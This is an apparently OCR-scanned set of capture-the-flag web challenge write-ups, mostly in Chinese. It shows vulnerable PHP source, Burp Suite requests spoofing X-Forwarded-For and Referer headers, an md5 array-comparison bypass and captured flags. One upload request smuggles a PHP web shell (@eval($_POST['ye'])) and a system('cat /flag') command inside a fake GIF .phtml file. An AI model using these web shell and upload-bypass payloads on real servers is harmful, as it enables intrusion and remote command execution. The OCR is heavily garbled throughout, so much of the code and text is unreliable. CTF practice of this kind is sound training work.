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Ophp
show_source (_ FILE_ ):
include (“config. php”) ;
$a=03_GET[ a’ ];
$b=03_GET['b’ 1;
if(8a==0 and Sa){

if (is_numeric(Sb)) {
exit();

)
}
if($b>1234) {

echo $flag2;
)
}
»
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{?php
show_source(_ FILE_ ) ;
include ("config. php”) ;
$a=03_GET[ 2’ 1:
$b=a$_GET['b’ ];
if($a==0 and Sa){
echo $flagl:
1
}
if (is_numeric(Sb)) {
exit():
1
}
if ($b>1234) {
echo $flag2;
)
}
»
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[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer T Decoder T Comparer I Extender I Project options I User options TAIerts ]
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Go Cancel

Request

Raw | Headers | Hex

Target: http://111.200.241.244:59335 | || 7

Response

Raw | Headers | Hex HTMLTRender}

GET /HTTF/M.1

Host: 111.200.241.244:59335

X-Forwarded-For:123.123.123.123

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; n:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,applicationfxhtml+xml application/xml;g=0.9 image/avifimage/webp **,q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW,;g=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

HTTR/.1 200 Gk

Date: Thu, 27 Jan 2022 13:15:13 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud 26
Wary: Accept-Encoding
Content-Length: 525

Connsction: close

Content-Type: text/html

<html>
<head>
<meta charset="UTF-8">
<title>index</ftitle>
<link href="http:/flibs. baidu. com/bootstrap/3.0.3/css/bootstrap. min.css” rel="styleshest" />
<style=
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
<fhead=>
<hody=>
<p id="demo">ip kil £ 49123.123.123.123</p>
<script>document.getElementByld("demo").innerHTML="1¢: 233k £ hitps:/'www.google.com™;
<fscript></body>
<fhtml=

T
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[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer T Decoder T Comparer I Extender I Project options I User options TAIerts ]

3= |4 x|

Go Cancel <|r > |

Request

‘ Raw | Headers | Hex

Target: http://111.200.241.244:59335 | || 7

Response

Raw | Headers | Hex HTMLTRender}

GET /HTTF/M.1

Host: 111.200.241.244:59335

X-Forwarded-For:123.123.123.123

Referer.hﬁps.h’www.guugle.cum

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinB4; x64; n:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,applicationfxhtml+xml application/xml;g=0.9 image/avifimage/webp **,q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW,;g=0.7 ,zh-HK;q=0.5 en-US;q=0.3 en,g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

HTTR/.1 200 Gk

Date: Thu, 27 Jan 2022 13:17:58 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud 26
Wary: Accept-Encoding
Content-Length: 631

Connsction: close

Content-Type: text/html

<html>
<head>
<meta charset="UTF-8">
<title>index</ftitle>
<link href="http:/libs. baidu. com/bootstrap/3.0.3/css/bootstrap. min.css” rel="styleshest" />
<style=
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
<fhead=>
<hody=>
<p id="demo">ip kil £ 49123.123.123.123</p>
<script>document.getElementByld("demo").innerHTML="1¢: 233k £ hitps:/'www.google.com™;
</script><script>document.getElementByld("demeo").innerHTML="cyberpeace{55f6heaae343
74e8bd3ad77db541a24f}";</script></body>
<fhtml=
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[Target ]' Proxy I Spider I Scanner T Intruder I Repeater I Sequencer 1' Decoder 1' Comparer I Extender I Project options I User options YAIerts ]

J Intercept I HTTP history IWehSockets history I Options ]

@ Request to http://75605e42-fa1f-4651-ab3b-04377ca0572c noded buuoj.cn:81 [117.21.200.166]

{ Forward J l Drop J | Intercept is on Action

Raw | Params | Headers | Hex

POST / HTTPM.1

Host: 75605e42-falf4651-3b3b-04377 cals7 2. noded. buuaj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv96.0) Gecko/20100101 Firefox/96.0
Accept: text/html application/xhtral+xml application/xml;q=0.9 image/avif image/fwebp,*/*,q=0.8
Accept-Language: zh-CN,zhq=0.8 zh-TW,q=0.7 zh-HK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipant/form-data; boundary=------------comeee 31645953442406601483430211968
Content-Length: 352

Crigin: http:/75605e42-falf-4651-ab3b-04377 cal572c. noded. buuaj.cn:gi

Connection: close

Referer: http:/(75605e42-falf4651-ab3b-04377 cal572c. noded. buugj.cn:g1/

Cookie: UM_distinctid=17e6cfafad4108-0cebaea25f185-4c38237 c-144000-17 e6cfafad517 ¢
Upgrade-Insecure-Requests: 1

e

----------------------------- 316459534424066014683430211968
Content-Digposition: form-data; name="upload_file"; filename="1.jpg"
Content-Type: image/jpeg

234567890xpd

............................. 3164595344 2406601483430211968
Content-Disposition: form-data; name="submit"

............................. 31645953442406601483430211968--
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<script language='php'>@eval($_POST['ye']);</script>
<script language='php'>system('cat /flag');</script>
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[Target I Proxy I Spider I Scanner I Intruder I Repeater [ Sequencer T Decoder T Comparer I Extender I Project options [ User options TAIerts ]

J Intercept I HTTP history [WehSo«:kets history [ Options ]

@J Request to http://68a527ed-0417-4af2-5622-1d6ec21783b2 noded buuoj.cn:81 [117.21.200.166]
{ Forward J l Drop J | Intercept is on Action

Raw | Params | Headers | Hex

POST FHTTPAA

Host: 683527 ed-0417-4af2-8522-1d6ec21783b2 noded. buuoj.cn:81

User-Agent: Mozilla/.0 (Windows NT 10.0; Wing4; x64; n:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avif image/wabp ™ q=0.8
Accept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7 ,zh-HK;=0.5 &en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------cemeeeemeen 160494409337738296233635598240
Content-Length: 517

Crigin: http: /682527 ed-0417-4af2-8822-1d62c2178302. noded. buuaj. cn:dl

Connection: close

Referer: http: /1682527 ed-0417-4af2-8822-1d6ec21783b2. noded buuoj.cn:d1/

Cookie: UM_distinctid=17e6cfafad4108-0ceSaee2f5f185-4c322372-144000-17 e6efafads 17 e
Upgrade-Insecure-Requests: 1

I3

---160494409337738296233635598240
Content-Disposition: form-data; name="upload_file"; filname="1.phtml"
Content-Type: application/octet-stream

GIFBIal/ & 5 IFiE iy iiPHP getimagesiz 21
<script language="php'>@eval(§_POST['ye']) </script>
<script language="php'>system('cat Mlag); </script>
----160494409337738296233635598240
Content-Disposition: form-data; name="submit"

............................. 160494409337 736296233635598240--
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| put something in F12 for you include 'flag.php’; $flag="MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}; if(isset($_GET['gg'&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg
&& $id I== $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd]; if (lis_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!’; highlight file(‘flag.php");
die('By Retr_0"; } else { echo "can you think twice??"; } } else{ echo 'You can not get it I'; } } else{ die(‘only one way to get the flag"); } } else { echo "You are not a real hacker!"; } } else{ die('Please input
first'); } }Please input first

C QO & 71145663-5b15-4dd3-abbd-664337e6c041.noded.buuoj.cn:81 z)
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SR M — T IRAE:
F—BifEHE R ZEEGET M7 Rk AFASHidFgg.
MR BEHEANFNSHHRE R H L Please input first, A MR RS T X" lag.php”s

F_EifAN, EXE#T— I mdoiEmE, 8 &5 2 7E T TH i H "You got the first step”. 7 % "You
are not a real hacker!"

H A BRI posti 7 RIRE— S Hpasswd, & T FIif] W7 - #8 2 78 X passwdigE 4T 7 .
EKpasswd N AT HBAA R —NEFE, &/Gpasswd==1234567

SEEE— AN phpfa KA HE, RFEPOSTEA passwd=1234567ak i & £ WiiE 4l .
FrbAtgi&Payloady: GET 7 g3 gg[]=111&id[]=222, POST{% Zpasswd=1234567a
Z%lflag.
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| put something in F12 for you include 'flag.php'; $flag="MRCTF{xx0o0000000000000000000}; if(isset($_GET['gg')&&sset($_GET['id') { $id=$_GET['id']; $gg=9$_GET['gg']; if (md5($id) === md5($gg)
&& $id |== $gg) { echo 'You got the first step’; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd]; if (!is_numeric($passwd)) { if($passwd==1234567) { echo '‘Good Job!’; highlight file('flag.php");
die('By Retr_0"); } else { echo "can you think twice??"; } } else{ echo 'You can not get it I'; } } else{ die('only one way to get the flag"); } } else { echo "You are not a real hacker!"; } } else{ die('Please input
first); } }

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You got the first stepGood Job! <?php

$flag="flag {d72f3d7e-f4d9-4433-b7c3-8685941f42c6} "
?> By Retr 0

HackBar

@l Load URL http://71145663-5b15-4dd3-abbd-664337e¢6¢04 1.node4.buuoj.cn:81/2gg[]=111&id[]=222
9’5 Split URL
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passwd=1234567a
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